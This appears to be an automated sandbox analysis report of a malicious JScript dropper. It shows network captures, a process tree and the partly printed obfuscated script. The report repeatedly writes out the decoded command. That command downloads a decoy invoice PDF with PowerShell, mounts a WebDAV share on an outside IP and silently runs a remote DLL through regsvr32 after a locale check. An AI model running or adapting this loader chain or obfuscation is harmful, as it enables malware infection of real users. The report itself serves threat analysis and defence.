Jan 11, 2025 07:47:50.077028036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:47:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:47:50.077060938 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:47:50.077085972 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:47:50.077100992 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 07:47:50.077115059 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 07:47:50.077131987 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 07:47:50.077146053 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 07:47:50.077159882 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 07:47:50.077174902 CET	1224	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 11, 2025 07:47:50.134496927 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs
Jan 11, 2025 07:47:50.134515047 CET	1236	IN	Data Raw: 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a 2b a1 e5 18 Data Ascii: czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27pht

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49732	193.143.1.205	8888	2324	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:47:52.053265095 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:47:52.827413082 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:47:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:47:41
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js"
Imagebase:	0x7ff7bec40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:47:42
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
Imagebase:	0x7ff6876c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:47:42
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:47:42
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:47:50
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:47:50
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6876c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:47:51
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a8950000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:47:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:47:51
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:47:52
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1656,i,1017238091831218955,9117593508025748178,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jcdgo() {	jcdgo() ➔ undefined
1	upkfyeab = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ergsgc = this[calbyihny + pvuitvgr + mtvako + tscqseje + deurmj + nmutjd + xwsaupogi + axxovqigr] ( this[oospeir + lcpklfd + pnujhdir + mtvako + ejverroj + calbyihny + axxovqigr][gzmnpjq + mtvako + deurmj + pvuitvgr + axxovqigr + deurmj + inglj + fdyoil + btsmalsba + deurmj + pnujhdir + axxovqigr] ( oospeir + lcpklfd + pnujhdir + mtvako + ejverroj + calbyihny + axxovqigr + krglfb + lcpklfd + zunvveld + deurmj + sibxblfo + sibxblfo ) [yekgudged + deurmj + rvuiko + yekgudged + deurmj + pvuitvgr + kiolt] ( gbqindtn + esntrp + gbpahlln + impbqkn + hptkr + gzmnpjq + rmaddm + yekgudged + yekgudged + gbpahlln + epozryh + uzswngzap + hptkr + rmaddm + lcpklfd + gbpahlln + yekgudged + broqz + gzmnpjq + cxqgljoc + xwsaupogi + axxovqigr + mtvako + cxqgljoc + sibxblfo + rtourqdz + ipjhmue + pvuitvgr + xwsaupogi + deurmj + sibxblfo + broqz + nmutjd + xwsaupogi + axxovqigr + deurmj + mtvako + xwsaupogi + pvuitvgr + axxovqigr + ejverroj + cxqgljoc + xwsaupogi + pvuitvgr + sibxblfo + broqz + uqtplh + cxqgljoc + pnujhdir + pvuitvgr + sibxblfo + deurmj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( clpcxplqn = 0 ; clpcxplqn < upkfyeab[sibxblfo + deurmj + xwsaupogi + rvuiko + axxovqigr + zunvveld] ; ++ clpcxplqn )
4	{
5	if ( ergsgc == upkfyeab[clpcxplqn] )
6	{
7	ergsgc = true;
8	break ;
9	}
10	}
11	if ( ergsgc !== true )
12	this[oospeir + lcpklfd + pnujhdir + mtvako + ejverroj + calbyihny + axxovqigr][xdzgf + ghruigp + ejverroj + axxovqigr] ( );
13	this[oospeir + lcpklfd + pnujhdir + mtvako + ejverroj + calbyihny + axxovqigr][gzmnpjq + mtvako + deurmj + pvuitvgr + axxovqigr + deurmj + inglj + fdyoil + btsmalsba + deurmj + pnujhdir + axxovqigr] ( oospeir + lcpklfd + pnujhdir + mtvako + ejverroj + calbyihny + axxovqigr + krglfb + lcpklfd + zunvveld + deurmj + sibxblfo + sibxblfo ) [mtvako + ghruigp + xwsaupogi] ( pnujhdir + uqpayopsl + kiolt + rtourqdz + vfvddoomt + pnujhdir + rtourqdz + calbyihny + cxqgljoc + ivppy + deurmj + mtvako + tscqseje + zunvveld + deurmj + sibxblfo + sibxblfo + krglfb + deurmj + oyacprwuh + deurmj + rtourqdz + guywrdq + gzmnpjq + cxqgljoc + uqpayopsl + uqpayopsl + pvuitvgr + xwsaupogi + kiolt + rtourqdz + jaldyfvos + nmutjd + xwsaupogi + udjtbpgqu + cxqgljoc + etrnpuv + deurmj + guywrdq + oospeir + deurmj + fdyoil + yekgudged + deurmj + mkxrrhwr + ghruigp + deurmj + tscqseje + axxovqigr + rtourqdz + guywrdq + inglj + ghruigp + axxovqigr + ljabvjh + ejverroj + sibxblfo + deurmj + rtourqdz + xyzvr + axxovqigr + deurmj + uqpayopsl + calbyihny + xyzvr + broqz + ejverroj + xwsaupogi + udjtbpgqu + cxqgljoc + ejverroj + pnujhdir + deurmj + krglfb + calbyihny + kiolt + jhyokzjgx + rtourqdz + zunvveld + axxovqigr + axxovqigr + calbyihny + uzofwkaoz + vfvddoomt + vfvddoomt + qmoyjbk + cinaejn + gbacfvsm + krglfb + qmoyjbk + rriverwah + gbacfvsm + krglfb + qmoyjbk + krglfb + kzixkbtnf + gmybyj + wuwvtdmi + vfvddoomt + ejverroj + xwsaupogi + udjtbpgqu + cxqgljoc + ejverroj + pnujhdir + deurmj + krglfb + calbyihny + zunvveld + calbyihny + jaldyfvos + ikcxm + ikcxm + tscqseje + axxovqigr + pvuitvgr + mtvako + axxovqigr + rtourqdz + xyzvr + axxovqigr + deurmj + uqpayopsl + calbyihny + xyzvr + broqz + ejverroj + xwsaupogi + udjtbpgqu + cxqgljoc + ejverroj + pnujhdir + deurmj + krglfb + calbyihny + kiolt + jhyokzjgx + ikcxm + ikcxm + pnujhdir + uqpayopsl + kiolt + rtourqdz + vfvddoomt + pnujhdir + rtourqdz + xwsaupogi + deurmj + axxovqigr + rtourqdz + ghruigp + tscqseje + deurmj + rtourqdz + broqz + broqz + qmoyjbk + cinaejn + gbacfvsm + krglfb + qmoyjbk + rriverwah + gbacfvsm + krglfb + qmoyjbk + krglfb + kzixkbtnf + gmybyj + wuwvtdmi + mpipjq + etcaedwv + etcaedwv + etcaedwv + etcaedwv + broqz + kiolt + pvuitvgr + udjtbpgqu + ivppy + ivppy + ivppy + mtvako + cxqgljoc + cxqgljoc + axxovqigr + broqz + ikcxm + ikcxm + pnujhdir + uqpayopsl + kiolt + rtourqdz + vfvddoomt + pnujhdir + rtourqdz + mtvako + deurmj + rvuiko + tscqseje + udjtbpgqu + mtvako + gbacfvsm + kzixkbtnf + rtourqdz + vfvddoomt + tscqseje + rtourqdz + broqz + broqz + qmoyjbk + cinaejn + gbacfvsm + krglfb + qmoyjbk + rriverwah + gbacfvsm + krglfb + qmoyjbk + krglfb + kzixkbtnf + gmybyj + wuwvtdmi + mpipjq + etcaedwv + etcaedwv + etcaedwv + etcaedwv + broqz + kiolt + pvuitvgr + udjtbpgqu + ivppy + ivppy + ivppy + mtvako + cxqgljoc + cxqgljoc + axxovqigr + broqz + qmoyjbk + kzixkbtnf + kzixkbtnf + cinaejn + rriverwah + qmoyjbk + extjwata + cinaejn + qmoyjbk + gbacfvsm + rriverwah + rriverwah + wuwvtdmi + wuwvtdmi + krglfb + kiolt + sibxblfo + sibxblfo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll",0,false) ➔ 0
14	}
15	yekgudged = "N";
16	yekgudged = "C";
17	yekgudged = "u";
18	yekgudged = "j";
19	yekgudged = "a";
20	yekgudged = "q";
21	yekgudged = "k";
22	yekgudged = "F";
23	yekgudged = "y";
24	yekgudged = "n";
25	yekgudged = "y";
26	yekgudged = "j";
27	yekgudged = "o";
28	yekgudged = "I";
29	yekgudged = "y";
30	yekgudged = "S";
31	yekgudged = "o";
32	yekgudged = "R";
33	vfvddoomt = "S";
34	vfvddoomt = "q";
35	vfvddoomt = "z";
36	vfvddoomt = "j";
37	vfvddoomt = "w";
38	vfvddoomt = "G";
39	vfvddoomt = "D";
40	vfvddoomt = "i";
41	vfvddoomt = "M";
42	vfvddoomt = "B";
43	vfvddoomt = "Q";
44	vfvddoomt = "e";
45	vfvddoomt = "h";
46	vfvddoomt = "L";
47	vfvddoomt = "A";
48	vfvddoomt = "o";
49	vfvddoomt = "A";
50	vfvddoomt = "G";
51	vfvddoomt = "B";
52	vfvddoomt = "e";
53	vfvddoomt = "b";
54	vfvddoomt = "r";
55	vfvddoomt = "J";
56	vfvddoomt = "h";
57	vfvddoomt = "c";
58	vfvddoomt = "k";
59	vfvddoomt = "k";
60	vfvddoomt = "a";
61	vfvddoomt = "F";
62	vfvddoomt = "q";
63	vfvddoomt = "C";
64	vfvddoomt = "/";
65	uqtplh = "i";
66	uqtplh = "x";
67	uqtplh = "G";
68	uqtplh = "R";
69	uqtplh = "C";
70	uqtplh = "C";
71	uqtplh = "c";
72	uqtplh = "P";
73	uqtplh = "z";
74	uqtplh = "n";
75	uqtplh = "B";
76	uqtplh = "q";
77	uqtplh = "F";
78	uqtplh = "y";
79	uqtplh = "s";
80	uqtplh = "B";
81	uqtplh = "C";
82	uqtplh = "Q";
83	uqtplh = "Y";
84	uqtplh = "E";
85	uqtplh = "k";
86	uqtplh = "Q";
87	uqtplh = "v";
88	uqtplh = "W";
89	uqtplh = "S";
90	uqtplh = "X";
91	uqtplh = "k";
92	uqtplh = "T";
93	uqtplh = "T";
94	uqtplh = "C";
95	uqtplh = "L";
96	mkxrrhwr = "c";
97	mkxrrhwr = "f";
98	mkxrrhwr = "H";
99	mkxrrhwr = "m";
100	mkxrrhwr = "p";
101	mkxrrhwr = "l";
102	mkxrrhwr = "v";
103	mkxrrhwr = "a";
104	mkxrrhwr = "R";
105	mkxrrhwr = "A";
106	mkxrrhwr = "p";
107	mkxrrhwr = "Z";
108	mkxrrhwr = "M";
109	mkxrrhwr = "t";
110	mkxrrhwr = "n";
111	mkxrrhwr = "r";
112	mkxrrhwr = "P";
113	mkxrrhwr = "l";
114	mkxrrhwr = "F";
115	mkxrrhwr = "f";
116	mkxrrhwr = "l";
117	mkxrrhwr = "Q";
118	mkxrrhwr = "g";
119	mkxrrhwr = "p";
120	mkxrrhwr = "e";
121	mkxrrhwr = "H";
122	mkxrrhwr = "j";
123	mkxrrhwr = "t";
124	mkxrrhwr = "y";
125	mkxrrhwr = "u";
126	mkxrrhwr = "E";
127	mkxrrhwr = "R";
128	mkxrrhwr = "C";
129	mkxrrhwr = "N";
130	mkxrrhwr = "a";
131	mkxrrhwr = "q";
132	ejverroj = "O";
133	ejverroj = "c";
134	ejverroj = "z";
135	ejverroj = "S";
136	ejverroj = "y";
137	ejverroj = "B";
138	ejverroj = "S";
139	ejverroj = "r";
140	ejverroj = "p";
141	ejverroj = "v";
142	ejverroj = "t";
143	ejverroj = "A";
144	ejverroj = "q";
145	ejverroj = "t";
146	ejverroj = "u";
147	ejverroj = "Y";
148	ejverroj = "q";
149	ejverroj = "p";
150	ejverroj = "q";
151	ejverroj = "C";
152	ejverroj = "b";
153	ejverroj = "B";
154	ejverroj = "V";
155	ejverroj = "H";
156	ejverroj = "m";
157	ejverroj = "o";
158	ejverroj = "N";
159	ejverroj = "p";
160	ejverroj = "V";
161	ejverroj = "n";
162	ejverroj = "z";
163	ejverroj = "G";
164	ejverroj = "G";
165	ejverroj = "L";
166	ejverroj = "y";
167	ejverroj = "J";
168	ejverroj = "i";
169	ejverroj = "l";
170	ejverroj = "i";
171	deurmj = "J";
172	deurmj = "Q";
173	deurmj = "g";
174	deurmj = "Q";
175	deurmj = "X";
176	deurmj = "i";
177	deurmj = "G";
178	deurmj = "K";
179	deurmj = "y";
180	deurmj = "t";
181	deurmj = "a";
182	deurmj = "C";
183	deurmj = "S";
184	deurmj = "i";
185	deurmj = "c";
186	deurmj = "g";
187	deurmj = "p";
188	deurmj = "X";
189	deurmj = "e";
190	uzofwkaoz = "V";
191	uzofwkaoz = "z";
192	uzofwkaoz = "L";
193	uzofwkaoz = "d";
194	uzofwkaoz = "Z";
195	uzofwkaoz = "o";
196	uzofwkaoz = "Z";
197	uzofwkaoz = "a";
198	uzofwkaoz = "M";
199	uzofwkaoz = "M";
200	uzofwkaoz = "z";
201	uzofwkaoz = "l";
202	uzofwkaoz = "U";
203	uzofwkaoz = "m";
204	uzofwkaoz = "f";
205	uzofwkaoz = "b";
206	uzofwkaoz = "X";
207	uzofwkaoz = "Z";
208	uzofwkaoz = "F";
209	uzofwkaoz = "f";
210	uzofwkaoz = "s";
211	uzofwkaoz = "N";
212	uzofwkaoz = ":";
213	jaldyfvos = "K";
214	jaldyfvos = "f";
215	jaldyfvos = "i";
216	jaldyfvos = "F";
217	jaldyfvos = "j";
218	jaldyfvos = "c";
219	jaldyfvos = "i";
220	jaldyfvos = "O";
221	jaldyfvos = "S";
222	jaldyfvos = "U";
223	jaldyfvos = "O";
224	jaldyfvos = "B";
225	jaldyfvos = "q";
226	jaldyfvos = "I";
227	jaldyfvos = "i";
228	jaldyfvos = "X";
229	jaldyfvos = "M";
230	jaldyfvos = "h";
231	jaldyfvos = "s";
232	jaldyfvos = "m";
233	jaldyfvos = "l";
234	jaldyfvos = "H";
235	jaldyfvos = "E";
236	jaldyfvos = "K";
237	jaldyfvos = "X";
238	jaldyfvos = "G";
239	jaldyfvos = "\"";
240	ipjhmue = "n";
241	ipjhmue = "S";
242	ipjhmue = "C";
243	ipjhmue = "X";
244	ipjhmue = "H";
245	ipjhmue = "y";
246	ipjhmue = "E";
247	ipjhmue = "B";
248	ipjhmue = "v";
249	ipjhmue = "Z";
250	ipjhmue = "C";
251	ipjhmue = "v";
252	ipjhmue = "t";
253	ipjhmue = "h";
254	ipjhmue = "D";
255	ipjhmue = "K";
256	ipjhmue = "a";
257	ipjhmue = "c";
258	ipjhmue = "N";
259	ipjhmue = "v";
260	ipjhmue = "e";
261	ipjhmue = "P";
262	ipjhmue = "Q";
263	ipjhmue = "c";
264	ipjhmue = "z";
265	ipjhmue = "y";
266	ipjhmue = "B";
267	ipjhmue = "d";
268	ipjhmue = "J";
269	ipjhmue = "G";
270	ipjhmue = "P";
271	ipjhmue = "o";
272	ipjhmue = "Q";
273	ipjhmue = "p";
274	ipjhmue = "X";
275	ipjhmue = "o";
276	ipjhmue = "M";
277	ipjhmue = "P";
278	gbpahlln = "Z";
279	gbpahlln = "B";
280	gbpahlln = "i";
281	gbpahlln = "b";
282	gbpahlln = "H";
283	gbpahlln = "e";
284	gbpahlln = "m";
285	gbpahlln = "o";
286	gbpahlln = "e";
287	gbpahlln = "V";
288	gbpahlln = "l";
289	gbpahlln = "O";
290	gbpahlln = "j";
291	gbpahlln = "o";
292	gbpahlln = "b";
293	gbpahlln = "O";
